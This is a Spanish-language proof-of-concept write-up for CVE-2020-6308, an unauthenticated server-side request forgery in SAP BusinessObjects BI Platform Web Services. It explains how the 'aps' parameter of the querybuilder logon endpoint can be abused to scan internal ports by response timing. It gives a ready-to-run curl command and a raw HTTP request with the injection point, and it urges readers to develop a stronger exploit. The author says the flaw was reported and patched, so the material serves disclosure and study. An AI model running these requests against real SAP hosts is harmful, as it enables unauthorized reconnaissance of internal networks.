
PoC CVE-2020-6308
SAP BusinessObjects Business Intelligence Platform (Web Services), versiones 410, 420 y 430, permite a un atacante no autenticado inyectar valores arbitrarios como parámetros CMS para realizar búsquedas en la red interna que de otro modo no es accesible externamente. Sígueme en Twitter o por DM para preguntas: https://twitter.com/initroott
Reporté el problema a SAP en mayo de 2020 y el parche se lanzó en octubre de 2020. Puedes continuar y desarrollar tu propio PoC más a fondo; sin embargo, te proporcionaré un poco de antecedentes. La función CMS no valida la dirección proporcionada. Si el firewall del host no está configurado correctamente, es posible identificar fácilmente puertos o la red interna basándose en las respuestas recibidas de las solicitudes. En el siguiente ejemplo mostraré cómo puedes ver los puertos abiertos utilizando la solicitud cURL.. En el siguiente ejemplo tengo un host SAP (192.168.0.191), una máquina atacante (192.168.0.149) y otro dispositivo, p. ej., el router interno (192.168.0.1).
Nuestro host SAP tiene los siguientes puertos abiertos:

Y nuestro router interno tiene abiertos los siguientes: 53, 80, 34573

Así que probemos esto: podemos identificar puertos abiertos simplemente basándonos en los tiempos de respuesta de las solicitudes. Ejemplos a continuación:
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
Probando los siguientes payloads:
Aquí puedes ver los resultados de tiempo de prueba para puertos cerrados, un promedio de alrededor de 5 ms..

Aquí puedes ver los resultados de tiempo de prueba para puertos abiertos/filtrados, mucho más grandes..

Ahora bien, lo siguiente no es ideal, ya que diferentes rutas o algunos firewalls pueden afectar los resultados. Sin embargo, debería darte una idea de por dónde empezar a construir un exploit mejor.. Lo anterior se puede ajustar creando una línea base y luego trabajando a partir de ahí. Definitivamente recomendaría configurar un listener y ver qué sucede.
Lo siguiente muestra cómo se verá la solicitud en Burp con el parámetro APS como punto de inyección vulnerable. Un PoC más sencillo sería simplemente inyectar un valor de token canario y esperar el disparador..
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp